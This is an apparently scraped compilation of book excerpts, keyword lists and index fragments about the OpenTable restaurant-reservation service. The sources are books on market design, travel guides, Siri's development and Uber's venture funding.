Affordable Care Act / Obamacare, Airbnb, algorithmic trading, barriers to entry, Berlin Wall, bitcoin, Build a better mousetrap, centralized clearinghouse, Chuck Templeton: OpenTable:, commoditize, computer age, computerized markets, crowdsourcing, deferred acceptance, desegregation, experimental economics, first-price auction, Flash crash, High speed trading, income inequality, Internet of things, invention of agriculture, invisible hand, Jean Tirole, law of one price, Lyft, market clearing, market design, medical residency, obamacare, proxy bid, road to serfdom, school choice, sealed-bid auction, second-price auction, second-price sealed-bid, Silicon Valley, spectrum auction, Spread Networks laid a new fibre optics cable between New York and Chicago, Steve Jobs, The Wealth of Nations by Adam Smith, two-sided market, uber lyft, undersea cable
And when I tell you how each restaurant deals with congestion—where and when we’ll wait—you may be surprised at how many other things that detail will tell you about the restaurant. Let’s conduct a blind test: I’ll tell you how three restaurants, call them A, B, and C, handle congestion on a busy night, and I’ll bet you’ll be able to figure out the color of their tablecloths. If we want to eat in restaurant A, we call ahead for a reservation and then chat in my office until the time we are expected. (Or we can search the online marketplace OpenTable, which offers reservations to many restaurants, to compare the availability times of restaurant A and other, similar restaurants.) When we arrive, we’re seated quickly and given a menu. A server soon comes to ask if we’d like something to drink. When the drinks come, the server is ready to take our order, and we chat while the food is prepared. At the end of the meal, the bill is brought to our table, and after we’ve looked it over, we put down a credit card, which the server returns to take.
See also repugnant markets NEPKE, 8, 37, 38, 42, 44, 49, 50 New England Journal of Medicine, 45 New England Organ Bank, 36 New England Program for Kidney Exchange (NEPKE), 8, 37, 38, 42, 44, 49, 50 New York City school system, 8, 106–10, 112, 122, 153–61 benefits of revised, 160–61 old compared with new, 155–58 preferences in, 153–54, 156–60 New York State attorney general, 86, 88 New York Stock Exchange, 82–83 New York Times, 110 Nguyen, Hai, 38–39 Niederle, Muriel, 75–76, 176–77 Nixon, Richard, 224 nonsimultaneous chains in kidney exchange, 43–46, 49, 51–52, 235 NRMP, 7–8, 146 Obamacare, 224 objectification, 203 Ockenfels, Axel, 118, 120–21 Oklahoma Land Rush, 57–59, 80, 113–14 once-per-second market, 86, 88 OpenTable, 218 operating systems, 21–22 Orange Bowl, 61–62, 66 orthopedic surgeons, 78–80 Ostrovsky, Mike, 86–87 package bidding, 188–89, 225–26 parking decisions, 72–73, 125–26 Pathak, Parag, 107, 126, 149, 153, 165 payment systems credit cards, 23–26 in Internet marketplaces, 24, 104, 117 mobile, 26–27 privacy in, 119 PayPal, 24, 117, 119 Payzant, Tom, 126, 129 peacocks, 177–78 penicillin, 133–34 Peranson, Elliott, 147–48, 157 performance evaluation, 64 political campaign contributions, 203 politics free markets and, 226–28 in kidney exchanges, 49–51 polycystic kidney disease, 38–39 polygamy, 199 Posner, Richard, 91 price and pricing, 9.
San Francisco by Lonely Planet
airport security, Albert Einstein, Apple II, back-to-the-land, banking crisis, Bay Area Rapid Transit, Burning Man, California gold rush, car-free, carbon footprint, centre right, Chuck Templeton: OpenTable:, David Brooks, Electric Kool-Aid Acid Test, G4S, game design, glass ceiling, Golden Gate Park, Haight Ashbury, Joan Didion, Loma Prieta earthquake, Mason jar, New Urbanism, Silicon Valley, South of Market, San Francisco, stealth mode startup, stem cell, Steve Jobs, Steve Wozniak, Stewart Brand, transcontinental railway, urban sprawl, Whole Earth Catalog, Zipcar
But SF’s top chefs are very serious about sustainability – to taste the difference that local, organic, sustainably sourced ingredients make, try restaurants with the icon. Reserve ahead or take your chances in a restaurant-dense area like the Mission, Japantown, the Avenues or North Beach. If you don’t have a reservation, call to ask if there’s room at the bar, seats for walk-ins or any last-minute cancellations. Most SF restaurants have online reservations through their websites or OpenTable (www.opentable.com) , but if the system shows no availability, call the restaurant directly as some seats may be held for phone reservations and walk-ins. Places like French Laundry ( Click here ), Chez Panisse (Click here) and small, celebrated SF bistros like Frances ( Click here ) offer limited seating, so call a month ahead and take what’s available. Bargain Gourmet Even when you eat cheaply in San Francisco, you’re spoiled for choice: $5 scores shrimp dumplings, gourmet tacos or a tasty roast beef banh mi (Vietnamese sandwich).
French Laundry Californian $$$ ( 707-944-2380; www.frenchlaundry.com; 6640 Washington St, Yountville; fixed-price menu $270; dinner daily, lunch Sat & Sun) A high-wattage culinary experience on par with the world’s best, Thomas Keller’s French Laundry is ideal for marking lifetime achievements – a 40th birthday, say, or a Nobel Prize. Book exactly two months (to the day) ahead: call at 10am sharp, or log onto www.opentable.com at precisely midnight. If you can’t score a reservation, console yourself at Keller’s nearby note-perfect French brasserie, Bouchon ( 707-944-8037; www.bouchonbistro.com; 6354 Washington St, Yountville; 11:30am-midnight) , which is (much) easier to book and makes perfect roast chicken and steak-frites. Oxbow Public Market Market $ (www.oxbowpublicmarket.com; 610 & 644 1st St, Napa; 9am-7pm Mon-Sat, 10am-5pm Sun) A gourmet food court á la the Ferry Building in SF, Oxbow showcases local, sustainably produced artisinal food, such as Hog Island oysters (six for $15), Pica Pica’s Venezuelan cornbread sandwiches ($8) and Three Twins certified-organic ice cream ($4 for a single waffle cone).
Creative Intelligence: Harnessing the Power to Create, Connect, and Inspire by Bruce Nussbaum
3D printing, Airbnb, Albert Einstein, Berlin Wall, Black Swan, Chuck Templeton: OpenTable:, clean water, collapse of Lehman Brothers, creative destruction, Credit Default Swap, crony capitalism, crowdsourcing, Danny Hillis, declining real wages, demographic dividend, disruptive innovation, Elon Musk, en.wikipedia.org, Eugene Fama: efficient market hypothesis, Fall of the Berlin Wall, follow your passion, game design, housing crisis, Hyman Minsky, industrial robot, invisible hand, James Dyson, Jane Jacobs, Jeff Bezos, jimmy wales, John Gruber, John Markoff, Joseph Schumpeter, Kickstarter, lone genius, longitudinal study, manufacturing employment, Marc Andreessen, Mark Zuckerberg, Martin Wolf, new economy, Paul Graham, Peter Thiel, QR code, race to the bottom, reshoring, Richard Florida, Ronald Reagan, shareholder value, Silicon Valley, Silicon Valley ideology, Silicon Valley startup, six sigma, Skype, Steve Ballmer, Steve Jobs, Steve Wozniak, supply-chain management, Tesla Model S, The Chicago School, The Design of Experiments, the High Line, The Myth of the Rational Market, thinkpad, Tim Cook: Apple, too big to fail, tulip mania, We are the 99%, Y Combinator, young professional, Zipcar
When the book came out, I got one, becoming a traditional consumer. In this one “transaction” with Kickstarter, I had the opportunity to engage in half a dozen different ways. The ability to rethink engagements is a hugely powerful technique for creating new ideas. Take restaurant reservations. Before OpenTable and other apps like it, we had to call each restaurant sequentially, wait for an answer, deal with often snooty gatekeepers, and negotiate a specific time to dine. It was a time-consuming and sometimes anxiety-inducing experience. By taking the process online, Open Table allows patrons to check out many restaurants faster, see what time slots are available, and book one without having to beg. Wherever there is a point of interaction, there is potential for innovation. But the “right” engagement will vary from group to group, industry to industry.
See Financial capitalism New School, Parsons, 240 New Tech City study, 181 New York, 73, 181–82, 238 Ng, Andrew, 198 Nike, 134–35, 145 Noma restaurant, 159 Novogratz, Jacqueline, 70 NY Creative Interns, 181, 204 Occupy Wall Street movement, 90, 151 Odyssey of the Mind game, 258–60 Office of Strategic Services (OSS), 18–20, 27 Oldham, Andrew Loog, 8 Omidyar, Pam and Pierre, 138 Online e-commerce companies, 152, 162–66, 174, 204 Open-source philosophy, 36 OpenTable app, 98–99 Organic food, 154 Organizational creativity, 21–22, 28–33 Organizational knowledge mining, 78–83 Osher, John, 61 OSS. See Office of Strategic Services (OSS) Outdoor grill designs, 178–79 Outside-in thinking, 108–9 Outsourcing in decline of Hewlett-Packard, 225–26 financial capitalism and, 151, 153 loss of innovation by, 144 pivoting and, 179 reversing of, for manufacturing, 160–62 (see also Reshoring) risks of, 174–75 Packaging, Apple iMac, 188 Packard, David, 191 Page, Larry, 121, 207, 212–13 Parker, Sean, 214 Parsons The New School for Design, 16, 240 Participation Indie Capitalism and, 248 maker movement and, 153–56 Passion, pivoting and, 216–17 Past, mining of, 63–66 PayPal, 148, 163, 166, 206, 207, 235 PCs.
Talk to Me: How Voice Computing Will Transform the Way We Live, Work, and Think by James Vlahos
Albert Einstein, AltaVista, Amazon Mechanical Turk, Amazon Web Services, augmented reality, Automated Insights, autonomous vehicles, Chuck Templeton: OpenTable:, cloud computing, computer age, Donald Trump, Elon Musk, information retrieval, Internet of things, Jacques de Vaucanson, Jeff Bezos, lateral thinking, Loebner Prize, Machine translation of "The spirit is willing, but the flesh is weak." to Russian and back, Mark Zuckerberg, Menlo Park, natural language processing, PageRank, pattern recognition, Ponzi scheme, randomized controlled trial, Ray Kurzweil, Ronald Reagan, Rubik’s Cube, self-driving car, sentiment analysis, Silicon Valley, Skype, Snapchat, speech recognition, statistical model, Steve Jobs, Steve Wozniak, Steven Levy, Turing test, Watson beat the top human players on Jeopardy!
“Try the Cheese Board on Shattuck Avenue in Berkeley,” the assistant tells you. Siri couldn’t know everything, especially not at first, so the founders divided the system—the tent—into six major domains. Those were restaurants, movies, events, weather, travel, and local search. The agents hanging around inside the tent were, of course, not actual people but computerized services that Siri could consult. There were forty-five of them, including Yelp, OpenTable, Rotten Tomatoes, StubHub, Allmenus, Citysearch, Google Maps, FlightStats, and Bing. The brilliance of this architecture was that it was modular and expandable. The programmers could keep inviting new agents inside the tent, and Siri would be able to talk to them. Besides setting up the fundamental organization for Siri, the team faced the difficult challenge of teaching her to fathom what users wanted.
and “When do you want to see it?” The ontology also helped Siri to understand which external services to tap for different requests. The capabilities of multiple services might be needed to fulfill a single request. Imagine a user asking, “Where can I get the best lasagna in San Francisco?” Siri would check Allmenus to find out which restaurants have lasagna on the menu, Yelp to assess which places had the best reviews, and OpenTable to actually make the booking. A final element of creating Siri involved designing the user experience. While computer programs and apps may be a bit boring, they have helpful visual interfaces—pulldown menus and buttons—that guide users to what is possible to do. With a virtual assistant, the possibilities are much less explicitly defined. The fact that the product represents itself as an intelligent being encourages people to think that the sky is the limit—they can say or ask just about anything.
The Upstarts: How Uber, Airbnb, and the Killer Companies of the New Silicon Valley Are Changing the World by Brad Stone
Affordable Care Act / Obamacare, Airbnb, Amazon Web Services, Andy Kessler, autonomous vehicles, Ben Horowitz, Boris Johnson, Burning Man, call centre, Chuck Templeton: OpenTable:, collaborative consumption, East Village, fixed income, Google X / Alphabet X, housing crisis, inflight wifi, Jeff Bezos, Justin.tv, Kickstarter, Lyft, Marc Andreessen, Mark Zuckerberg, Menlo Park, Mitch Kapor, Necker cube, obamacare, Paul Graham, peer-to-peer, Peter Thiel, race to the bottom, rent control, ride hailing / ride sharing, Ruby on Rails, Sand Hill Road, self-driving car, semantic web, sharing economy, side project, Silicon Valley, Silicon Valley startup, Skype, South of Market, San Francisco, Startup school, Steve Jobs, TaskRabbit, Tony Hsieh, transportation-network company, Travis Kalanick, Uber and Lyft, Uber for X, uber lyft, ubercab, Y Combinator, Y2K, Zipcar
“No technology could solve for the fact that there was resistance among taxi companies and drivers for this very basic change to the way they ran their business,” Tom DePasquale says. He is not particularly proud of what happened next. In the summer of 2009, Taxi Magic was the object of a prolonged courtship by the Silicon Valley investor Bill Gurley, a partner at the premier venture capital firm Benchmark Capital. An original backer of the online reservation company OpenTable, Gurley, who stands six feet nine inches tall, had been looking for a similar car service that could impose simplicity and efficiency on the archaic world of ground transportation. George Arison recalls Gurley sitting in their Virginia office many times over the course of several weeks, poring over spreadsheets, talking to Partee about the taxi industry, and negotiating with DePasquale about investment terms.
It was time for Uber to raise its first significant round of funding, the Series A. He wanted to work with one investor in particular: Benchmark’s Bill Gurley, who had previously expressed interest in the seed round. Gurley had tracked Uber’s progress closely over the nine months since then, what the former Florida Gators basketball player calls “hanging around the rim.” Sensing the opportunity to bring transportation online in the same way OpenTable had consolidated restaurants and Zillow had aggregated real estate listings, Gurley was aggressive. He went on a bike ride with Chris Sacca in Truckee to talk about the company and drove up to San Francisco late one night to spend two hours with Kalanick at the W Hotel bar, hammering out prospective deal terms. Gurley had identified a big opportunity but he was also fortunate. He had tried and failed with Taxi Magic and Cabulous, two investments in rival companies that would have precluded his backing Uber.
The Messy Middle: Finding Your Way Through the Hardest and Most Crucial Part of Any Bold Venture by Scott Belsky
23andMe, 3D printing, Airbnb, Albert Einstein, Anne Wojcicki, augmented reality, autonomous vehicles, Ben Horowitz, bitcoin, blockchain, Chuck Templeton: OpenTable:, commoditize, correlation does not imply causation, cryptocurrency, delayed gratification, DevOps, Donald Trump, Elon Musk, endowment effect, hiring and firing, Inbox Zero, iterative process, Jeff Bezos, knowledge worker, Lean Startup, Lyft, Mark Zuckerberg, Marshall McLuhan, minimum viable product, move fast and break things, move fast and break things, NetJets, Network effects, new economy, old-boy network, pattern recognition, Paul Graham, ride hailing / ride sharing, Silicon Valley, slashdot, Snapchat, Steve Jobs, subscription business, TaskRabbit, the medium is the message, Travis Kalanick, Uber for X, uber lyft, Y Combinator, young professional
When you’re genuinely curious about something, you’re less likely to measure productivity in traditional ways. Instead, you’re content being in the muck and gain satisfaction from learning something new, not just ticking off to-do items. Rather than seeking a positive outcome, you’re exploring all options to satiate your own interests. The greatest venture investors I know are insanely curious. For instance, over the years that I have known Bill Gurley, the famed investor behind OpenTable, Stitch Fix, Zillow, and Uber, I have always been struck by how deep he’ll explore an interest despite a packed schedule. Whether learning about the transportation industry or oncology and urgent health care, Bill will explore an interest for many months or years without concern for when—or even if—the right investment opportunity will present itself. He’s not racing toward a transaction against a clock; he’s digging to learn.
(Hogan-Brun), 107 LinkedIn, 181, 258 listening, 321 lists, 374 living and dying, 26, 368–69, 373–75 Livingston, Jessica, 101–2 local maxima, 242, 243–44, 289 Loewenstein, George, 272 long-term goals, 26–27, 66, 299, 304, 350 Loup Ventures, 35 Louvre Pyramid, 200–202 Lyft, 191 Macdonald, Hugo, 37–38 Macworld, 295 Maeda, John, 107, 186, 308, 354 magic of engagement, 273 Making Ideas Happen (Belsky), 159, 190, 222 Managed by Q, 221 Marcus Aurelius, 39 market-product fit, 256 Marquet, David, 167 Mastercard, 275, 303–4 Match.com, 259 Maupassant, Guy de, 201 maximizers, 229, 284–85 McKenna, Luke, 217 McKinsey & Company, 72 Meerkat, 265 meetings, 44, 78, 176 Meetup, 168, 243–44 Mehta, Monica, 26 merchandising, internal, 158–60 metrics and measures, 28, 29, 297–99 microwave ovens, 325 middle, 1, 3–4, 7–8, 14–15, 20, 40, 209, 211, 375 volatility of, 1, 4, 6, 8, 12, 14–16, 21, 209 milestones, 25, 27, 31, 40 minimum viable product (MVP), 86, 186, 195, 252 Minshew, Kathryn, 72–73 misalignment, 153–55 mistakes, 324–25, 336 Mitterand, François, 201 Mix, 256 Mizrahi, Isaac, 324 mock-ups, 161–63 momentum, 29 money, raising, 30–31, 102 Monocle, 37 Morin, Dave, 273 motivation, 24 multilingualism, 107–9 Murphy, James, 92 Muse, The, 72, 73 Musk, Elon, 168, 273 Muslims, 302–3 Myspace, 89, 187–88, 349 mystery, 271–73 naivety, 308–9 Narayan, Shantanu, 289 narrative and storytelling, 40–42, 75, 87, 271 building, before product, 255–57 culture and, 134–36 National Day of Unplugging, 328 naysayers, 295 negotiation, 286–87 Negroponte, Nicholas, 107 Nest, 63 Netflix, 83–84, 126 networking, 138–39 networks, 258–61, 283, 284, 320–21 Newsweek, 38 New York Times, 63, 122, 275 Next, 141 99U Conference, 9–10, 26, 138, 167, 181, 197, 220, 221, 360 no, saying, 282–84, 285, 319, 371, 372 Noguchi, Isamu, 141 noise and signal, 320–21 Northwestern Mutual, 66 novelty, and utility, 240–41 NPR, 196 “NYC Deli Problem,” 174 Oates, Joyce Carol, 192 OBECALP, 59–61 obsession, 104–5, 229, 313, 326 Oculus, 350 Odeo, 36 office space, 140–41 openness, 308–9, 350 OpenTable, 79 opinions, 64, 305–7, 317 opportunities, 282–85, 319, 324, 325, 371 optimization, 8, 14–15, 16, 93–338 see also product, optimizing; self, optimizing; team, optimizing Option B: Facing Adversity, Building Resilience, and Finding Joy (Sandberg and Grant), 39 options, managing, 284–85 organizational debt, 178–79 outlasting, 90 outsiders, 88, 105 Page, Larry, 60 Pain, 59 Paperless Post, 239 Paradox of Choice, The: Why More Is Less (Schwartz), 284 parallel processing, 33 parenting, 371, 372 Partpic, 120 passion, empathy and humility before, 248–50 path of least resistance, 85 patience, 78, 80–85, 196 cultural systems for, 81–82, 85 personal pursuit of, 84–85 structural systems for, 83–84, 85 “pebbles” and “boulders,” 182, 268 Pei, I.
Super Pumped: The Battle for Uber by Mike Isaac
"side hustle", activist fund / activist shareholder / activist investor, Airbnb, Albert Einstein, always be closing, Amazon Web Services, Andy Kessler, autonomous vehicles, Ayatollah Khomeini, barriers to entry, Bay Area Rapid Transit, Burning Man, call centre, Chris Urmson, Chuck Templeton: OpenTable:, citizen journalism, Clayton Christensen, cloud computing, corporate governance, creative destruction, don't be evil, Donald Trump, Elon Musk, family office, gig economy, Google Glasses, Google X / Alphabet X, high net worth, Jeff Bezos, John Markoff, Kickstarter, Lyft, Marc Andreessen, Mark Zuckerberg, mass immigration, Menlo Park, Mitch Kapor, money market fund, moral hazard, move fast and break things, move fast and break things, Network effects, new economy, off grid, peer-to-peer, pets.com, Richard Florida, ride hailing / ride sharing, Sand Hill Road, self-driving car, shareholder value, side project, Silicon Valley, Silicon Valley startup, skunkworks, Snapchat, software as a service, software is eating the world, South China Sea, South of Market, San Francisco, sovereign wealth fund, special economic zone, Steve Jobs, TaskRabbit, the payments system, Tim Cook: Apple, Travis Kalanick, Uber and Lyft, Uber for X, uber lyft, ubercab, union organizing, upwardly mobile, Y Combinator
Throughout his career Gurley had been enamored with what he called “marketplaces,” a category of business that neither made new products nor sold others, but merely matched the desires of one side of a market with the products of the other side, and took a cut as the middleman. By the time Gurley arrived at Benchmark, the venture capital firm where he had worked for the past seven years, marketplaces had consumed him. eBay, one of Benchmark’s most successful investments, was a natural marketplace, matching millions of buyers to sellers, all enabled by the rising power of the internet. So was Zillow, an eBay for real estate. OpenTable, one of Gurley’s earliest investments, matched people to restaurant reservations. Grubhub, similarly, connected people to food delivery. DogVacay—Airbnb for pooches—was self-explanatory. Nearly every one of Gurley’s investments relied on one basic thesis: the internet had brought with it a profound capability to meet the desires of existing, real-world people for experiences, places, and things.
See also Isaac, Mike on aggressive culture at Uber, 241 on Greyball, 247 infiltrates all-hands meeting, 279–80, 280n on Kalanick’s comments on India rape incident, 261 ouster of Kalanick and, 289, 295, 300, 304–6, 307 on self-driving software, 255 Nopa, 78 “North American Championship Series” (NACS), 138–39 Northridge, California, 16–25 Northrup Grumman, 332 Norton, Edward, 128, 193 Novick, Steve, xii, xiii, xvi Obama, Barack, xii, 35, 200, 224 administration of, 93, 115 Occupy Wall Street, 132 Ola, 148–49, 187, 257, 261 Omidyar, Pierre, 312 OpenTable, 65 Oregon, 113 the Oregonian, 243 Osborne, Ian, 127, 127–28 O’Sullivan, Dan, 204–5, 206, 207–10 Otto, 181–85, 233–35 Ottomotto, 181 Ovitz, Michael, 23–25, 26, 97, 189, 286 Page, Larry, 9, 34, 54, 96, 121, 140, 158, 178, 202 Google IPO and, 76–77 Kalanick and, 100–101, 105–10 Levandowski and, 180–82, 185, 232–35 Waymo v. Uber and, 233–36, 255–56, 338–39 Palms Hotel, 7, 93 Palo Alto, California, 35, 36, 38, 40, 72, 105 Pape’ete, French Polynesia, 307–8 Paris, France, 84 Parker, Sean, 21, 121 Partovi, Ali, 92n Partovi, Hadi, 92n Paul, Sunil, 85–86 Paul, Weiss, 289, 294 Paulson, Henry, 33 PayPal, 170–71 Pennsylvania, 113 Perazzo, Steve, 338 Pets.com, 26 Pham, Thuan, 142–47, 153, 165, 201, 309 Philadelphia, Pennsylvania, 83, 114, 244, 245–46, 247 Philadelphia Parking Authority, 244, 245–46 Pishevar, Shervin, 179, 192–93, 315–16, 337 Pittsburgh, Pennsylvania, 151, 184 Pixar, 35 Planet Hollywood, 10 Plouffe, David, xii–xiii, xvi, 115, 225 Poetzscher, Cam, 301 Politico, 128 Portland, Oregon, xi–xvii, xviii, 115, 243–44, 247 Portland Bureau of Transportation, xi Posados, Miguel, 338 “Preacher,” 336 Priceline, 27 Prodigy, 67 “Project Chauffeur,” 180–81 Pronto.ai, 333 Puff Daddy, 89 Pulp Fiction, 45 Qualcomm, 317 Quattrone, Frank, 67, 69–70 Quentin, 153–54, 155, 156, 157, 161, 245, 246 Quill, Mike, 204 Quince, 328 Quinn, Emanuel, Urquhart & Sullivan, 234 Rancho Palos Verdes, California, 176 Rand, Ayn, 84, 120 Recode, 248–49, 262 Recording Industry Association of America (RIAA), 24, 26, 28, 29 Reddit, 42, 200 Red Swoosh, 28–30, 31, 33, 47, 74, 81, 106, 192n Richter, David, 301 The Rideshare Guy, 248 Rigetti, Chad, 215 Rio de Janeiro, Brazil, 134, 174 Ritz-Carlton Hotel, 292, 295, 296–300, 302, 304 Robb, Walter, 292 Romania, 170, 172 Ron, Lior, 181–82, 234 Rubenstein, Steven, 239n, 289, 289n, 295 Rumayyan, Yasir al-, 270–71, 272 Sacca, Chris, 57, 74, 78, 288, 293 Sacks, David, 300 Safe Rides Fee, 135–36 Salesforce, 201 San Bernardino, California, 162, 206 Sandberg, Sheryl, 201, 239n Sanders, Jeff, 324 San Francisco, California, xiii–xiv, 5–6, 27–28, 31–32, 40–41, 67, 85, 100, 107, 130, 160, 183.
Startupland: How Three Guys Risked Everything to Turn an Idea Into a Global Business by Mikkel Svane, Carlye Adler
Airbnb, Ben Horowitz, Burning Man, business process, call centre, Chuck Templeton: OpenTable:, cloud computing, credit crunch, David Heinemeier Hansson, Elon Musk, housing crisis, Jeff Bezos, Kickstarter, Menlo Park, remote working, Ruby on Rails, Sand Hill Road, Silicon Valley, Silicon Valley startup, Skype, software as a service, South of Market, San Francisco, Steve Jobs, subscription business, Tesla Model S, web application
That increased our exposure to VCs as they heard our name from their portfolio companies. Whatever the reasons, it was certainly more fun to be on this new side of the equation. 105 Page 105 Svane c06.tex V3 - 10/24/2014 9:08 P.M. S TA R TU P L A N D Amazing firms showed interest in us. Several top Silicon Valley firms wanted to meet with us, and three flew to Copenhagen over a period of ten days, to meet us on our home turf. Benchmark—which invested in OpenTable, Yelp, and Twitter, and many more—knew us from some of their portfolio companies. But Christoph Janz had, at an earlier point, also introduced us to Benchmark’s newest partner, Matt Cohler, and without our really realizing it, the partnership had been following our progress closely. One fine spring day Matt Cohler, who looked all of eighteen, flew to Copenhagen to meet us. Alex was in Boston in those days, so I didn’t want to take Matt to the loft; instead, I rode my bicycle to Matt’s hotel to meet with him there.
Coastal California by Lonely Planet
1960s counterculture, airport security, Albert Einstein, Asilomar, back-to-the-land, Bay Area Rapid Transit, Berlin Wall, buy and hold, California gold rush, call centre, car-free, carbon footprint, centre right, Chuck Templeton: OpenTable:, Donner party, East Village, El Camino Real, Electric Kool-Aid Acid Test, Frank Gehry, global village, Golden Gate Park, Haight Ashbury, haute cuisine, illegal immigration, Joan Didion, Khyber Pass, Kickstarter, Loma Prieta earthquake, low cost airline, Mason jar, McMansion, Ronald Reagan, Silicon Valley, South of Market, San Francisco, stealth mode startup, Steve Wozniak, trade route, transcontinental railway, Upton Sinclair, urban sprawl, white picket fence, women in the workforce, working poor, Works Progress Administration, young professional, Zipcar
Montecito Country Kitchen (www.mckcuisine.com) Near Santa Barbara, this chefs gourmet-food shop puts on seasonal, farm-to-table cooking classes and farmers-market demonstrations. Some high-end cookware shops such as Williams- Sonoma (www.williams-sonoma.com) and Sur la Table (www.surlatable.com) also offer casual introductory cooking classes. EDIBLE REGIONAL SPECIALTIES San Francisco Bay Area For coupons and deals on coastal California restaurants, check Open Table (www.opentable.com), Blackboard Eats (http://blackboardeats.com), Restaurants.com (www.restaurants.com), Living Social (www.livingsocial.com), Groupon (www.groupon.com) and Yelp (www.yelp.com). Today, San Francisco’s adventurous eaters support the most award-winning chefs and restaurants per capita of any US city – five times more restaurants than New York, if anyone’s keeping score – and 25 farmers markets in San Francisco alone, more than any other US city.
Metro Hotel HOTEL $ ( 415-861-5364; www.metrohotelsf.com; 319 Divisadero St; r $76-120; ) No-frills rooms in the center of The Haight, with good pizza and a garden downstairs and bars and shopping just outside. Rooms in back are quietest. SF MEALS AND DEALS Hope you’re hungry – there are 10 times more restaurants per capita in San Francisco than in any other US city. Check out the recommendations below and foodie sites such as www.chowhound.com and http://sf.eater.com, then scan for deals at www.blackboardeats.com and www.opentable.com – and since SF’s top restaurants are quite small, reserve now. Prices are often more reasonable than you might expect for organic, sustainable fare, though you might notice some restaurants now tack on a 4% surcharge to cover city-mandated healthcare for SF food workers – a tacky way to pass along basic business costs, especially for upscale restaurants. Factor in 9.5% tax on top of your meal price, plus a tip ranging from 15% to 25%.
Yountville Park (cnr Washington & Madison Sts) has picnic tables and barbecue grills, you’ll find groceries across from the post office, and there’s a great taco truck (6764 Washington St). French Laundry CALIFORNIAN $$$ ( 707-944-2380; www.frenchlaundry.com; 6640 Washington St; prix fixe incl service charge $270; dinner, lunch Sat & Sun) The pinnacle of California dining, Thomas Keller’s French Laundry is epic, a high-wattage culinary experience on par with the world’s best. Book two months ahead at 10am sharp, or log onto OpenTable.com precisely at midnight. Avoid tables before 7pm; first-service seating moves faster than the second – sometimes too fast. Bouchon FRENCH $$$ ( 707-944-8037; www.bouchonbistro.com; 6534 Washington St; mains $17-36; 11:30am-12:30am) At celeb-chef Thomas Keller’s French brasserie, everything from food to decor is so authentic, from zinc bar to white-aproned waiters, you’d swear you were in Paris – even the Bermuda-shorts-clad Americans look out of place.
Wild Ride: Inside Uber's Quest for World Domination by Adam Lashinsky
"side hustle", Airbnb, always be closing, Amazon Web Services, autonomous vehicles, Ayatollah Khomeini, business process, Chuck Templeton: OpenTable:, cognitive dissonance, corporate governance, DARPA: Urban Challenge, Donald Trump, Elon Musk, gig economy, Golden Gate Park, Google X / Alphabet X, information retrieval, Jeff Bezos, Lyft, Marc Andreessen, Mark Zuckerberg, megacity, Menlo Park, new economy, pattern recognition, price mechanism, ride hailing / ride sharing, Sand Hill Road, self-driving car, Silicon Valley, Silicon Valley startup, Skype, Snapchat, South of Market, San Francisco, sovereign wealth fund, statistical model, Steve Jobs, TaskRabbit, Tony Hsieh, transportation-network company, Travis Kalanick, turn-by-turn navigation, Uber and Lyft, Uber for X, uber lyft, ubercab, young professional
What’s more, he wanted them to name their price rather than the other way around. “Travis is great at creating demand,” says Chris Sacca, the early Uber adviser and investor. “He says, ‘I don’t want to hear from you until this date. And on this date I’ll ask you for terms, and I want you to tell me your terms. Then I’ll come see you.’” Benchmark Capital was ready to give Kalanick its terms. The firm had successfully invested in Internet “marketplaces” like eBay and OpenTable, and it saw Uber as a potential successor. “We had an internal thesis that other industries might benefit from a network layer on top of them,” says Benchmark’s Gurley. “And as we started discussing it, one of the things we thought about was transportation.” Benchmark concluded that the taxi industry was a bad bet because of its arcane rules, fixed pricing, and concentrated ownership. “We literally had come to the conclusion internally that the minute we see an entrepreneur that tries to do this against black cars instead of taxis, we’d have an interest.”
WTF?: What's the Future and Why It's Up to Us by Tim O'Reilly
4chan, Affordable Care Act / Obamacare, Airbnb, Alvin Roth, Amazon Mechanical Turk, Amazon Web Services, artificial general intelligence, augmented reality, autonomous vehicles, barriers to entry, basic income, Bernie Madoff, Bernie Sanders, Bill Joy: nanobots, bitcoin, blockchain, Bretton Woods, Brewster Kahle, British Empire, business process, call centre, Capital in the Twenty-First Century by Thomas Piketty, Captain Sullenberger Hudson, Chuck Templeton: OpenTable:, Clayton Christensen, clean water, cloud computing, cognitive dissonance, collateralized debt obligation, commoditize, computer vision, corporate governance, corporate raider, creative destruction, crowdsourcing, Danny Hillis, data acquisition, deskilling, DevOps, Donald Davies, Donald Trump, Elon Musk, en.wikipedia.org, Erik Brynjolfsson, Filter Bubble, Firefox, Flash crash, full employment, future of work, George Akerlof, gig economy, glass ceiling, Google Glasses, Gordon Gekko, gravity well, greed is good, Guido van Rossum, High speed trading, hiring and firing, Home mortgage interest deduction, Hyperloop, income inequality, index fund, informal economy, information asymmetry, Internet Archive, Internet of things, invention of movable type, invisible hand, iterative process, Jaron Lanier, Jeff Bezos, jitney, job automation, job satisfaction, John Maynard Keynes: Economic Possibilities for our Grandchildren, John Maynard Keynes: technological unemployment, Kevin Kelly, Khan Academy, Kickstarter, knowledge worker, Kodak vs Instagram, Lao Tzu, Larry Wall, Lean Startup, Leonard Kleinrock, Lyft, Marc Andreessen, Mark Zuckerberg, market fundamentalism, Marshall McLuhan, McMansion, microbiome, microservices, minimum viable product, mortgage tax deduction, move fast and break things, move fast and break things, Network effects, new economy, Nicholas Carr, obamacare, Oculus Rift, packet switching, PageRank, pattern recognition, Paul Buchheit, peer-to-peer, peer-to-peer model, Ponzi scheme, race to the bottom, Ralph Nader, randomized controlled trial, RFC: Request For Comment, Richard Feynman, Richard Stallman, ride hailing / ride sharing, Robert Gordon, Robert Metcalfe, Ronald Coase, Sam Altman, school choice, Second Machine Age, secular stagnation, self-driving car, SETI@home, shareholder value, Silicon Valley, Silicon Valley startup, skunkworks, Skype, smart contracts, Snapchat, Social Responsibility of Business Is to Increase Its Profits, social web, software as a service, software patent, spectrum auction, speech recognition, Stephen Hawking, Steve Ballmer, Steve Jobs, Steven Levy, Stewart Brand, strong AI, TaskRabbit, telepresence, the built environment, The Future of Employment, the map is not the territory, The Nature of the Firm, The Rise and Fall of American Growth, The Wealth of Nations by Adam Smith, Thomas Davenport, transaction costs, transcontinental railway, transportation-network company, Travis Kalanick, trickle-down economics, Uber and Lyft, Uber for X, uber lyft, ubercab, universal basic income, US Airways Flight 1549, VA Linux, Watson beat the top human players on Jeopardy!, We are the 99%, web application, Whole Earth Catalog, winner-take-all economy, women in the workforce, Y Combinator, yellow journalism, zero-sum game, Zipcar
